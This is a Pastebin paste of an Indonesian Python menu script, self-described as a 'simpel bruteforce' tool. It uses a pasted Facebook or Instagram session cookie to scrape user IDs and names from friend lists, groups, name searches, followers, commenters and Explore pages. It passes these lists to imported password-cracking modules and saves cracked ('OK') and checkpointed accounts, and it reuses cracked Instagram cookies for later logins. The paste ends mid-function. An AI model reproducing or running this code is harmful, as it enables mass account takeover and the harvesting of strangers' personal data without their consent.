Advertisement
OBF-XIn

202.46.68.45-menu.py.py

Feb 19th, 2024
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 32.04 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. xx, un = 0, []
  4. import urllib.parse
  5. from rich import print as rprint
  6. from rich.panel import Panel
  7. from rich.table import Table
  8. from rich.tree import Tree
  9. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
  10. try:
  11.     import os, re, time, sys
  12.     import requests, platform
  13.     from bs4 import BeautifulSoup as bsp
  14. except Exception as e:
  15.     print(f'[!] Kesalahan Module : {e}')
  16.     x = urllib.parse.quote_plus(f'Error type : {e}')
  17.     os.system(f'xdg-open https://wa.me/+6281221523195?text={x}')
  18.     exit(1)
  19.  
  20. try:
  21.     from dump import Group as Grp, Friends as MyFriends
  22.     from method import main as Crm, ibrut as Bdt
  23. except Exception as e:
  24.     print(f'[!] Kesalahan. Files Tidak Ada : {e}')
  25.     x = urllib.parse.quote_plus(f'Error type : {e}')
  26.     os.system(f'xdg-open https://wa.me/+6281221523195?text={x}')
  27.     exit(1)
  28.  
  29. P = "\033[97m"
  30. I = "\033[30m"
  31. A = "\033[90m"
  32. H = "\033[32m"
  33. K = "\033[33m"
  34. N = '\x1b[0m'
  35. M, K2 = K, K
  36. BLUE = "\033[0;34m"
  37. END  = "\033[0m"
  38. RED  = "\033[0;31m"
  39. CYAN = "\033[0;36m"
  40.  
  41. GREEN       = "\033[0;32m"
  42. LIGHT_CYAN  = "\033[1;36m"
  43. LIGHT_WHITE = "\033[1;37m"
  44.  
  45. class MAIN:
  46.  
  47.    bersih = lambda xyz, plt: os.system('clear' if plt.lower() == 'linux' else 'cls')
  48.    userid = []
  49.    pk_idg = []
  50.    def __init__(self):
  51.        try:self.bersih(platform.system())
  52.        except:pass
  53.        super(MAIN).__init__()
  54.        
  55.    def Me(self):
  56.        print(r''' _____  _____  _____  _____
  57. /  ___>/     \/  _  \|  _  \ %screate by
  58. |___  ||  |--||  _  <|  |  |  %sZura Kanagami%s
  59. <_____/\_____/\_____/|_____/  %ssimpel bruteforce %sv1.0%s
  60.       '''%(P,H,P,P,H,P))
  61.    def aset(self):
  62.        if os.path.isfile('data/login.txt') is True:
  63.           self.file = open('data/login.txt','r').read()
  64.           self.stat = {'token':self.file.split('|')[0],'cokie':self.file.split('|')[1]}
  65.        else:
  66.           self.coki = {'cookie':input('[?] Masukan Cookie: ')}
  67.           self.stat = self.login(self.coki)
  68.        try:
  69.           req = requests.get('https://graph.facebook.com/v18.0/me?access_token=%s'%(self.stat['token']), cookies = {'cookie':self.stat['cokie']}).json()
  70.           uid = req['id']
  71.           nma = req['name']
  72.        except Exception as e:
  73.           os.remove('data/login.txt')
  74.           exit('\n[!] Login Erorr, Type: cookie invalid')
  75.        open('data/login.txt','w').write(f'{self.stat["token"]}|{self.stat["cokie"]}')
  76.        print(f'\n[*] Login sebagai : {nma}\n[*] ID : {uid}')
  77.        return(self.stat)
  78.  
  79.    def login(self, cokie):
  80.        try:
  81.            req = requests.get('https://adsmanager.facebook.com/adsmanager/manage/campaigns?&breakdown_regrouping=1', cookies = cokie).text
  82.            act = re.search('act=(\d+)',str(req)).group(1)
  83.            res = requests.get('https://adsmanager.facebook.com/adsmanager/manage/campaigns?&act=%s&breakdown_regrouping=1'%(act), cookies = cokie).text
  84.            xyz = re.search('window.__accessToken="(.*?)"', str(res)).group(1)
  85.            return {'token':xyz,'cokie':cokie['cookie']}
  86.        except Exception as e:
  87.            exit('\n[!] Login Erorr, Type: cookie invalid')
  88.  
  89.    def Menu(self):
  90.        self.item = self.aset()
  91.        try:self.bersih(platform.system())
  92.        except:pass
  93.        self.Me()
  94.        print(f'[{H}1{P}] Dump Friends')
  95.        print(f'[{H}2{P}] Dump Anggota Group')
  96.        print(f'[{H}3{P}] Dump Pencarian Nama')
  97.        print(f'[{H}4{P}] File Dump Anda')
  98.        print(f'[{H}5{P}] Fitur Lainnya')
  99.        print(f'[{H}6{P}] Instagram Brute ({H}Premium{P})\n')
  100.        self.Main(self.item)
  101.  
  102.    def Main(self, items):
  103.        while True:
  104.          x = input(f'[{H}?{P}] Pilih : ')
  105.          if x in   ['01','1']:self.teman(items['cokie'])
  106.          elif x in ['02','2']:self.group(items['cokie'])
  107.          elif x in ['03','3']:self.name(items['cokie'])
  108.          elif x in ['04','4']:self.File()
  109.          elif x in ['05','5']:self.more()
  110.          elif x in ['06','6']:self.insta()
  111.          else: continue
  112.  
  113.    def teman(self, cokie):
  114.        print(f'\n{P}[{H}!{P}] Masukan ID/Username, Gunakan tanda Koma Sebagai Pemisah')
  115.        data = input(f'[{H}?{P}] Masukan ID/Username : ').split(',')
  116.        for user in data:
  117.            try:
  118.                req1 = requests.get(f'https://web.facebook.com/profile.php?id={user}&sk=friends_all',cookies={'cookie':cokie}).text
  119.                data = self.Graphql(cokie,req1,True)
  120.                head = self.Graphql(cokie,req1,False)
  121.                uid1 = re.search('"props":{"collectionToken":"(.*?)"',str(req1)).group(1)
  122.                data.update({'variables':'{"count":8,"cursor":"","scale":2,"search":null,"id":"'+uid1+'"}'})
  123.                poke = MyFriends.MAIN().Friends(uid1, cokie, data, head)
  124.            except:pass
  125.        try:
  126.            if poke is None:
  127.               exit('\n[!] Teman Tidak Tersedia/Private')
  128.            else:
  129.               for xyz in poke:
  130.                   self.userid.append(xyz)
  131.        except:
  132.            exit('\n[!] Teman Tidak Tersedia/Private')
  133.        print('')
  134.        Crm.MAIN().List(self.userid)
  135.  
  136.    def Graphql(self, cokie, resp, type):
  137.        data = {'av': re.search('"actorID":"(\d+)"',str(resp)).group(1),'__user': re.search('"actorID":"(\d+)"',str(resp)).group(1),'__a': '1','__req': '','__hs': re.search('"haste_session":"(.*?)"',str(resp)).group(1),'dpr': '2','__ccg': re.search('"connectionClass":"(.*?)"',str(resp)).group(1),'__rev': re.search('{"rev":(.*?)}',str(resp)).group(1),'__hsi': re.search('"hsi":"(.*?)"',str(resp)).group(1),'__comet_req': re.search('__comet_req=(.*?)&',str(resp)).group(1),'fb_dtsg': re.search('"DTSGInitData":{"token":"(.*?)"',str(resp)).group(1),'jazoest': re.search('jazoest=(\d+)',str(resp)).group(1),'lsd': re.search('"LSD":{"token":"(.*?)"}',str(resp)).group(1),'__aaid': '0','__spin_r': re.search('"__spin_r":(\d+)',str(resp)).group(1),'__spin_b': 'trunk','__spin_t': re.search('"__spin_t":(\d+)',str(resp)).group(1),'fb_api_caller_class': 'RelayModern','fb_api_req_friendly_name': 'ProfileCometAppCollectionListRendererPaginationQuery','server_timestamps': 'true','doc_id': '6709724792472394'}
  138.        head = {'Host': 'web.facebook.com','user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36','x-fb-friendly-name': 'ProfileCometAppCollectionListRendererPaginationQuery','x-fb-lsd': re.search('"LSD":{"token":"(.*?)"}',str(resp)).group(1),'content-type': 'application/x-www-form-urlencoded','x-asbd-id': '129477','accept': '*/*','origin': 'https://web.facebook.com','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  139.        return(data if type is True else head)
  140.  
  141.    def File(self):
  142.        print(f'\n{P}[{H}!{P}] Masukan nama file atau lokasi (/sdcard/dump.txt)')
  143.        file = input(f'[{H}?{P}] File dump : ')
  144.        try:
  145.            for xyc in open(file,'r').read().splitlines():
  146.                try:
  147.                    id, nama = xyc.split('|')
  148.                    self.userid.append(xyc)
  149.                except ValueError:
  150.                    exit(f'\n{P}[{M}×{P}] Pemisahan salah.')
  151.        except FileNotFoundError:
  152.            exit(f'\n{P}[{M}×{P}] File tidak di temukan')
  153.        Crm.MAIN().List(self.userid)
  154.  
  155.    def name(self, cokie):
  156.        print(f'\n{P}[{H}!{P}] Masukan Nama Orang Bebas Contoh: diva,ladiva')
  157.        rndm = input(f'{P}[{H}?{P}] Nama Orang : ').split(',')
  158.        for xyx in rndm:
  159.            _ = self.SearchName(f'https://mbasic.facebook.com/search/people/?q={xyx}&source=filter',cokie)
  160.        print('')
  161.        Crm.MAIN().List(self.userid)
  162.  
  163.    def group(self, cokie):
  164.        print(f'\n{P}[{H}!{P}] Masukan ID Group Contoh: 5477429695615290')
  165.        Grp_ID = input(f'[{H}?{P}] ID Group : ')
  166.        Member = Grp.MAIN().Dumper(Grp_ID, cokie, '')
  167.        if Member is None:exit('\n[!] Member Tidak Di Temukan.')
  168.        else:
  169.           for xyz in Member:
  170.               self.userid.append(xyz)
  171.        print('')
  172.        Crm.MAIN().List(self.userid)
  173.  
  174.    def more(self):
  175.        print('')
  176.        print(f'{P}[{H}1{P}] Cek Hasil')
  177.        print(f'[{H}2{P}] Ganti Tumbal')
  178.        print(f'[{H}3{P}] Menu Utama')
  179.        print(f'[{H}4{P}] Log, out\n')
  180.        while True:
  181.          x = input(f'[{H}?{P}] Pilih : ')
  182.          if x in   ['01','1']:self.hasil()
  183.          elif x in ['02','2']:os.remove('data/login.txt');self.Menu()
  184.          elif x in ['03','3']:self.Menu()
  185.          elif x in ['04','4']:os.remove('data/login.txt');exit('\n[!] Data Anda Sudah Di Hapus.')
  186.  
  187.    def hasil(self):
  188.        print('')
  189.        print(f'[{H}1{P}] Akun OK')
  190.        print(f'[{H}2{P}] Akun CP')
  191.        print(f'[{H}3{P}] Kembali\n')
  192.        while True:
  193.          x = input(f'[{H}?{P}] Pilih : ')
  194.          if x in   ['01','1']:
  195.             if os.path.isfile('data/OK.txt') is True:
  196.                print('\n[ Akun success anda ]\n')
  197.                jumlah = 0
  198.                for a in open('data/OK.txt','r').read().splitlines():
  199.                    jumlah +=1
  200.                    print(f'\r {jumlah}. {a}')
  201.                exit()
  202.             else:
  203.                exit('\n[!] Anda Belum Mendapatkan hasil success.')
  204.          elif x in ['02','2']:
  205.             if os.path.isfile('data/CP.txt') is True:
  206.                print('\n[ Akun checkpoint anda ]\n')
  207.                jumlah = 0
  208.                for a in open('data/CP.txt','r').read().splitlines():
  209.                    jumlah +=1
  210.                    print(f'\r {jumlah}. {a}')
  211.                exit()
  212.             else:
  213.                exit('\n[!] Anda Belum Mendapatkan hasil checkpoint.')
  214.          elif x in ['03','3']:self.Menu()
  215.          else:continue
  216.  
  217.    def find_res(self, meki=[]):
  218.        try:
  219.            if os.path.isfile('data/OK-Instagram_dibawah_100.txt') is True:
  220.               for a in open('data/OK-Instagram_dibawah_100.txt','r').read().splitlines():
  221.                   xyz = re.findall('ds_user_id=(.*)',str(a))
  222.                   if len(xyz) == 0:continue
  223.                   else:
  224.                       if xyz not in meki:meki.append('ds_user_id=%s'%(xyz[0]))
  225.            if os.path.isfile('data/OK-Instagram_diatas_100.txt') is True:
  226.               for a in open('data/OK-Instagram_diatas_100.txt','r').read().splitlines():
  227.                   xyz = re.findall('ds_user_id=(.*)',str(a))
  228.                   if len(xyz) == 0:continue
  229.                   else:
  230.                       if xyz not in meki:meki.append('ds_user_id=%s'%(xyz[0]))
  231.        except:pass
  232.  
  233.        if len(meki) == 0:
  234.           exit(f'\n{P}[{M}!{P}] Tidak Bisa menemukan cokie!')
  235.        else:
  236.           for memek in meki:
  237.               try:
  238.                   print(f'\n{P}[{H}!{P}] Mencoba: {H}{memek}')
  239.                   xyz = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3'}
  240.                   uid = re.search('ds_user_id=(\d+)', str(memek)).group(1)
  241.                   req = requests.get(f'https://i.instagram.com/api/v1/users/{uid}/info/', headers=xyz, cookies={'cookie':memek}).json()['user']['full_name']
  242.                   open('data/IG-login.txt','w').write(f'{memek}')
  243.                   print(f'\n{P}[{H}!{P}] Login sebagai : {req}')
  244.                   time.sleep(2)
  245.                   return(memek)
  246.               except Exception as e:
  247.                   print(f'\n{P}[{K}!{P}] Expired: {K}{memek}')
  248.  
  249.    def aset_ig(self):
  250.        if os.path.isfile('data/IG-login.txt') is True:
  251.            self.coki = {'cookie':open('data/IG-login.txt','r').read()}
  252.        else:
  253.            self.momo = {'cookie':input('[ Login instagram ]\n\n[?] Masukan cookie : ')}
  254.            if self.momo['cookie'] == 'res':
  255.               self.coki = {'cookie':self.find_res()}
  256.            else:self.coki = self.momo
  257.        try:
  258.            xyz = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3'}
  259.            uid = re.search('ds_user_id=(\d+)', str(self.coki['cookie'])).group(1)
  260.            req = requests.get(f'https://i.instagram.com/api/v1/users/{uid}/info/', headers=xyz, cookies=self.coki).json()['user']
  261.            nam = req['full_name']
  262.            open('data/IG-login.txt','w').write(f'{self.coki["cookie"]}')
  263.        except Exception as e:
  264.            os.system('rm -rf data/IG-login.txt')
  265.            print(f'\n[!] Invalid cookie : {e}');self.aset_ig()
  266.        try:self.bersih(platform.system())
  267.        except:pass
  268.        return self.coki, req['full_name'], req['follower_count']
  269.  
  270.    def insta(self):
  271.        self.aset,self.nama,self.fol = self.aset_ig()
  272.        self.Me()
  273.        Bdt.MAIN().konfirkeys()
  274.        rprint(Panel(f' • LOGIN SEBAGAI   : [green]{self.nama}\n [white]• TOTAL FOLLOWERS : [green]{self.fol}',title='YOUR DATA',width=42))
  275.        table = Table(title="",style="")
  276.        table.add_column("NO", justify="right", style="cyan", no_wrap=True)
  277.        table.add_column("MENU : [green]INSTAGRAM TOOLS")
  278.        table.add_column("STATUS", justify="right", style="green")
  279.        table.add_row("1", "DUMP USERS FOLLOWERS", "ONLINE")
  280.        table.add_row("2", "DUMP USERS FOLLOWING", "ONLINE")
  281.        table.add_row("3", "CRACK ULANG CP", "ONLINE")
  282.        table.add_row("4", "CHEK HASIL KREK", "ONLINE")
  283.        table.add_row("U", "UPDATE SCRIPT", "ONLINE")
  284.        table.add_row("5", "DUMP EXPLORER", "ONLINE")
  285.        table.add_row("6", "DUMP KOMENTAR", "ONLINE")
  286.        table.add_row("7", "DUMP UNLIMITED", "ONLINE")
  287.        table.add_row("8", "CRACK FACEBOOK", "ONLINE")
  288.        table.add_row("9", "LOG OUT COOKIES", "ONLINE")
  289.        rprint(Panel.fit(table))
  290.        self.chs(self.aset)
  291.  
  292.    def chs(self, assets):
  293.        while True:
  294.          x = input(f'[{H}?{P}] Pilih : ')
  295.          if x in   ['01','1']:self.dumps(assets, True)
  296.          elif x in ['02','2']:self.dumps(assets, False)
  297.          elif x in ['03','3']:self.Ulang()
  298.          elif x in ['04','4']:self.igrst()
  299.          elif x in ['05','5']:
  300.               print(f'\n[{H}!{P}] Dump Memakan Waktu Lebih Lama!')
  301.               self.Explore(assets,1)
  302.               Bdt.MAIN().List(self.pk_idg)
  303.               exit(1)
  304.          elif x in ['06','6']:self.komentar(assets)
  305.          elif x in ['07','7']:self.Unli(assets)
  306.          elif x in ['u','U' ]:exit(os.system(f'git pull;python {sys.argv[0]}'))
  307.          elif x in ['09','9']:os.system('rm -rf data/IG-login.txt');exit()
  308.          else: continue
  309.  
  310.    def komentar(self, cokie, dav=[]):
  311.        print(f'\n[{H}?{P}] Masukan link postingan atau reels. pisahkan dengan koma')
  312.        link = input(f'[{H}?{P}] Link post : ').split(',')
  313.        try:
  314.            for ling in link:
  315.                self.r = requests.get(ling, cookies=cokie).text
  316.                self.o = re.search('"media_id":"(\d+)"', str(self.r)).group(1)
  317.                dav.append(self.o)
  318.            for self.x in dav:
  319.                self.dump_komen(cokie, self.x, '')
  320.        except:pass
  321.        Bdt.MAIN().List(self.pk_idg)
  322.  
  323.    def dump_komen(self, cokie, uid, min):
  324.        global xx
  325.        try:
  326.             self.r = requests.get(f"https://i.instagram.com/api/v1/media/{uid}/comments/?can_support_threading=true&permalink_enabled=false&min_id={min}", cookies = cokie, headers={'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3',}).json()
  327.             for self.i in self.r['comments']:
  328.                 self.a = self.i['user']['username'] +'|'+ self.i['user']['full_name']
  329.                 if self.a not in self.pk_idg:
  330.                    self.pk_idg.append(self.a)
  331.                    xx +=1
  332.                    print(f'\r[+] Berhasil dump {xx}',end=' ')
  333.             if 'next_min_id' in str(self.r):
  334.                 self.dump_komen(cokie, uid, self.r['next_min_id'])
  335.        except:pass
  336.  
  337.    def Unli(self, cokie):
  338.        rprint(Panel('[green]Masukan Username, Ambil 20-50 ID!',width=42))
  339.        self.user = input(f'[{H}?{P}] Username : ')
  340.        try:
  341.            req = requests.get(f'https://www.instagram.com/{self.user}/', cookies = cokie).text
  342.            uid = re.search('"user_id":"(\d+)"', str(req)).group(1)
  343.            rprint(Panel('[green]Mengambil ID klik CTRL + C Untuk Stop',width=42))
  344.            self.Exekusi(uid, cokie, '', True,True)
  345.        except:pass
  346.        if len(un) > 0:
  347.           print('')
  348.           rprint(Panel('[green]Matikan Data Untuk Stop!',width=42))
  349.           for self.momok in un:
  350.               self.Graphql(True, self.momok, cokie['cookie'], '')
  351.        else:exit('\n[!] Ganti Username/Tumbal!')
  352.        Bdt.MAIN().List(self.pk_idg)
  353.  
  354.    def igrst(self):
  355.        print('')
  356.        table = Table(title="",style="")
  357.        table.add_column("NO", justify="right", style="cyan", no_wrap=True)
  358.        table.add_column("MENU : [green]INSTAGRAM TOOLS")
  359.        table.add_column("STATUS", justify="right", style="green")
  360.        table.add_row("1", "CEK HASIL CRACK OK", "ONLINE")
  361.        table.add_row("2", "CEK HASIL CRACK CP", "ONLINE")
  362.        rprint(Panel.fit(table))
  363.        while True:
  364.          x = input(f'[{H}?{P}] Pilih : ')
  365.          if x in   ['01','1']:
  366.             table = Table(title="",style="")
  367.             table.add_column("NO", justify="right", style="cyan", no_wrap=True)
  368.             table.add_column("MENU : [green]INSTAGRAM TOOLS")
  369.             table.add_column("STATUS", justify="right", style="green")
  370.             table.add_row("1", "CEK AKUN FL KECIL", "ONLINE")
  371.             table.add_row("2", "CEK AKUN FL BESAR", "ONLINE")
  372.             table.add_row("3", "TAMPILKAN SEMUA AKUN", "ONLINE")
  373.             rprint(Panel.fit(table))
  374.             while True:
  375.               y = input(f'[{H}?{P}] Pilih : ')
  376.               if y  in ['01','1']:
  377.                  if os.path.isfile('data/OK-Instagram_dibawah_100.txt') is True:
  378.                     print('\n[ Akun success followers di bawah 100 ]\n')
  379.                     for a in open('data/OK-Instagram_dibawah_100.txt','r').read().splitlines():
  380.                         print(f'\r {P}{a}')
  381.                     exit()
  382.                  else:
  383.                     exit('\n[!] Anda tidak memiliki result dengan followers di bawah 100')
  384.               elif y in ['02','2']:
  385.                  if os.path.isfile('data/OK-Instagram_diatas_100.txt') is True:
  386.                     print('\n[ Akun success followers di atas 100 ]\n')
  387.                     for a in open('data/OK-Instagram_diatas_100.txt','r').read().splitlines():
  388.                         print(f'\r {P}{a}')
  389.                     exit()
  390.                  else:
  391.                     exit('\n[!] Anda tidak memiliki result dengan followers di atas 100')
  392.               elif y in ['03','3']:
  393.                  if os.path.isfile('data/OK-Instagram_dibawah_100.txt') is True:
  394.                     for a in open('data/OK-Instagram_dibawah_100.txt','r').read().splitlines():
  395.                         print(f'\r {P}{a}')
  396.                  if os.path.isfile('data/OK-Instagram_diatas_100.txt') is True:
  397.                     for a in open('data/OK-Instagram_diatas_100.txt','r').read().splitlines():
  398.                         print(f'\r {P}{a}')
  399.                  exit()
  400.          elif x in ['02','2']:
  401.             table = Table(title="",style="")
  402.             table.add_column("NO", justify="right", style="cyan", no_wrap=True)
  403.             table.add_column("MENU : [green]INSTAGRAM TOOLS")
  404.             table.add_column("STATUS", justify="right", style="green")
  405.             table.add_row("1", "CEK AKUN FL KECIL", "ONLINE")
  406.             table.add_row("2", "CEK AKUN FL BESAR", "ONLINE")
  407.             table.add_row("3", "TAMPILKAN SEMUA AKUN", "ONLINE")
  408.             rprint(Panel.fit(table))
  409.             while True:
  410.               y = input(f'[{H}?{P}] Pilih : ')
  411.               if y  in ['01','1']:
  412.                  if os.path.isfile('data/CP-Instagram_dibawah_100.txt') is True:
  413.                     print('\n[ Akun chek followers di bawah 100 ]\n')
  414.                     for a in open('data/CP-Instagram_dibawah_100.txt','r').read().splitlines():
  415.                         print(f'\r {P}{a}')
  416.                     exit()
  417.                  else:
  418.                     exit('\n[!] Anda tidak memiliki result dengan followers di bawah 100')
  419.               elif y in ['02','2']:
  420.                  if os.path.isfile('data/CP-Instagram_diatas_100.txt') is True:
  421.                     print('\n[ Akun check followers di atas 100 ]\n')
  422.                     for a in open('data/CP-Instagram_diatas_100.txt','r').read().splitlines():
  423.                         print(f'\r {P}{a}')
  424.                     exit()
  425.                  else:
  426.                     exit('\n[!] Anda tidak memiliki result dengan followers di atas 100')
  427.               elif y in ['03','3']:
  428.                  if os.path.isfile('data/CP-Instagram_dibawah_100.txt') is True:
  429.                     for a in open('data/CP-Instagram_dibawah_100.txt','r').read().splitlines():
  430.                         print(f'\r {P}{a}')
  431.                  if os.path.isfile('data/CP-Instagram_diatas_100.txt') is True:
  432.                     for a in open('data/CP-Instagram_diatas_100.txt','r').read().splitlines():
  433.                         print(f'\r {P}{a}')
  434.                  exit()
  435.          elif x in ['03','3']:self.insta()
  436.  
  437.    def Explore(self, cookie, max):
  438.        global xx
  439.        try:
  440.            self.req = requests.get(f'https://www.instagram.com/api/v1/discover/web/explore_grid/?include_fixed_destinations=true&is_nonpersonalized_explore=false&is_prefetch=false&max_id={max}&module=explore_popular&omit_cover_media=false', cookies = cookie).json()
  441.            for self.asu in self.req['sectional_items']:
  442.                try:
  443.                     self.item = self.asu['layout_content']['medias']
  444.                     for self.rrc in self.item:
  445.                         self.cap = self.rrc['media']['caption']['user']
  446.                         self.usd = str(self.cap['username']) +'|'+ str(self.cap['full_name'])
  447.                         if self.usd not in self.pk_idg:
  448.                            xx +=1
  449.                            self.pk_idg.append(self.usd)
  450.                            print(f'\r[+] Berhasil dump {xx}',end=' ')
  451.                     if 'next_max_id' in str(self.req):
  452.                         self.next = self.req['next_max_id']
  453.                         self.Explore(cookie, self.next)
  454.                except:pass
  455.        except:pass
  456.        return 1
  457.  
  458.    def Ulang(self):
  459.        try:
  460.           for rest in open('data//CP-Instagram.txt','r').read().splitlines():
  461.               uid, pas = rest.split('|')[0], rest.split('|')[1]
  462.               self.pk_idg.append(f'{uid}|{pas}')
  463.               print(f'\r[+] Berhasil dump {len(self.pk_idg)}',end=' ')
  464.        except (FileNotFoundError,ValueError):
  465.           exit('\n[!] File Tidak Ada Atau Pemisahan Salah.')
  466.        Bdt.MAIN().List(self.pk_idg)
  467.  
  468.    def dumps(self, cintil, typess, xyz = []):
  469.        if 'csrftoken' not in str(cintil):
  470.           try:
  471.               self.memek = requests.get('https://www.instagram.com/data/shared_data/', cookies = cintil).json()
  472.               self.token = self.memek['config']['csrf_token']
  473.               cintil['cookie'] +=';csrftoken=%s;'%(self.token)
  474.           except Exception as e:
  475.               os.system('rm -rf data/IG-login.txt')
  476.               exit(f'\n{P}[{K}!{P}] Csrftoken tidak tersedia, dump tidak akan berjalan: {e}')
  477.        rprint(Panel('[green]Masukan username akun instagram Public',width=42))
  478.        users = input(f'[{H}?{P}] Username : ').split(',')
  479.        try:
  480.            for self.y in users:
  481.                req = requests.get(f'https://www.instagram.com/{self.y}/', cookies = cintil).text
  482.                uid = re.search('"user_id":"(\d+)"', str(req)).group(1)
  483.                if uid not in xyz:xyz.append(uid)
  484.        except:pass
  485.        try:
  486.            mode = 'followers' if typess is True else 'following'
  487.            for kintil in xyz:
  488.                if typess is True:
  489.                   self.Graphql(True, kintil, cintil['cookie'], '')
  490.                else:
  491.                   self.Graphql(False, kintil, cintil['cookie'], '')
  492.        except:pass
  493.        Bdt.MAIN().List(self.pk_idg)
  494.  
  495.    def Exekusi(self, uid, cokie, next, mode,unli=None):
  496.        global xx
  497.        headers = {
  498.           'Host': 'www.instagram.com',
  499.           'sec-ch-ua': 'Not_A',
  500.           'x-ig-www-claim': 'hmac.AR3wIOBZNgwIzZCJb_cblllbPVaQIQ3s0Fnc_ldkrQdQoabq',
  501.           'sec-ch-ua-platform-version': '8.1.0',
  502.           'x-requested-with': 'XMLHttpRequest',
  503.           'dpr': '2',
  504.           'sec-ch-ua-full-version-list': 'Not_A',
  505.           'sec-ch-prefers-color-scheme': 'light',
  506.           'x-csrftoken': re.search('csrftoken=(.*?);',str(cokie['cookie'])).group(1),
  507.           'sec-ch-ua-platform': 'Android',
  508.           'x-ig-app-id': '1217981644879628',
  509.           'sec-ch-ua-model': 'CPH1803',
  510.           'sec-ch-ua-mobile': '?1',
  511.           'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36',
  512.           'viewport-width': '360',
  513.           'accept': '*/*',
  514.           'x-asbd-id': '129477',
  515.           'sec-fetch-site': 'same-origin',
  516.           'sec-fetch-mode': 'cors',
  517.           'sec-fetch-dest': 'empty',
  518.           'referer': 'https://www.instagram.com',
  519.           'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7',
  520.        }
  521.        params = {
  522.           'count': '12',
  523.           'search_surface': 'follow_list_page',
  524.           'max_id':next
  525.        }
  526.        if mode == 'following':
  527.            response = requests.get(f'https://www.instagram.com/api/v1/friendships/{uid}/following/?count=12&max_id={next}', cookies=cokie,headers=headers).json()
  528.        else:
  529.            response = requests.get(f'https://www.instagram.com/api/v1/friendships/{uid}/followers/',params=params,cookies=cokie,headers=headers).json()
  530.        for self.mmk in response['users']:
  531.            xx+=1
  532.            self.xy = self.mmk['username'] + '|' + self.mmk['full_name']
  533.            if self.xy not in self.pk_idg:
  534.               if unli is None:
  535.                  self.pk_idg.append(self.xy)
  536.               else:
  537.                  self.zc = self.mmk['pk']
  538.                  un.append(self.zc)
  539.               print(f'\r[+] Berhasil dump {xx}',end=' ')
  540.        if 'next_max_id' in str(response):
  541.            self.Exekusi(uid, cokie, response['next_max_id'], mode)
  542.  
  543.    def Graphql(self, typess, userid, cokie,after):
  544.        global xx
  545.        self.api = "https://www.instagram.com/graphql/query/"
  546.        self.csr = 'variables={"id":"%s","first":24,"after":"%s"}'%(userid,after)
  547.        self.mek = "query_hash=58712303d941c6855d4e888c5f0cd22f&{}".format(self.csr) if typess is False else "query_hash=37479f2b8209594dde7facb0d904896a&{}".format(self.csr)
  548.        try:
  549.            self.ptk = {"user-agent": "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Mobile Safari/537.36","accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7","cookie": cokie}
  550.            self.req = requests.get(self.api, params=self.mek, headers=self.ptk).json()
  551.            if 'require_login' in self.req:
  552.                if len(self.pk_idg) > 0:
  553.                   pass
  554.                else:
  555.                   exit(f'\n{P}[{K2}!{P}] Invalid Cookie')
  556.            self.khm = 'edge_followed_by' if typess is True else 'edge_follow'
  557.            for self.xyz in self.req['data']['user'][self.khm]['edges']:
  558.                self.xy = self.xyz['node']['username'] + '|' + self.xyz['node']['full_name']
  559.                if self.xy not in self.pk_idg:
  560.                   xx +=1
  561.                   self.pk_idg.append(self.xy)
  562.                   print(f'\r{P}[{H}+{P}] Berhasil dump {H}{xx} {P}id {K}{userid}{P}',end=' ')
  563.            self.end = self.req['data']['user'][self.khm]['page_info']['has_next_page']
  564.            if self.end is True:
  565.                self.after = self.req['data']['user'][self.khm]['page_info']['end_cursor']
  566.                self.Graphql(typess, userid, cokie, self.after)
  567.            else:pass
  568.        except:pass
  569.  
  570.    def SearchName(self, url,coki):
  571.        try:
  572.            array = self.userid
  573.            link = bsp(requests.get(url,cookies={'cookie':coki}).text,'html.parser')
  574.            for i in link.find_all("a",href=True):
  575.                print(f'[+] Berhasil dump {len(self.userid)}',end='\r');sys.stdout.flush()
  576.                if '/profile.php?' in str(i['href']):
  577.                   try:
  578.                       pk, nm = re.search('id=(\d+)',str(i['href'])).group(1), re.search('<img alt="(.*?), profile picture"', str(i)).group(1)
  579.                       xyz = '%s|%s'%(pk,nm)
  580.                       if pk not in array:
  581.                          if nm == '':pass
  582.                          else:array.append(xyz)
  583.                   except: continue
  584.                else:
  585.                   if 'profile picture"' in i or '<img alt=' in str(i):
  586.                      try:
  587.                          pk,nm = re.search('/(.*?)?eav',i['href']).group(1).split('?')[0],re.search('<img alt="(.*?), profile picture"', str(i)).group(1)
  588.                          xyz = '%s|%s'%(pk,nm)
  589.                          if xyz not in array:array.append(xyz)
  590.                      except:pass
  591.            for r in link.find_all("a",href=True):
  592.                if 'Lihat Hasil Selanjutnya' in r.text:
  593.                    self.SearchName(r.get('href'),coki)
  594.        except:pass
  595.  
  596.    def exec_friends(self,auid, kueh, token, limit=None):
  597.        for i in auid:
  598.           try:
  599.               xyz = {'access_token':token,'after':'' if limit is None else limit}
  600.               url = self.req.get(f'https://graph.facebook.com/{i}/friends', params=xyz,cookies={'cookie':kueh}).json()
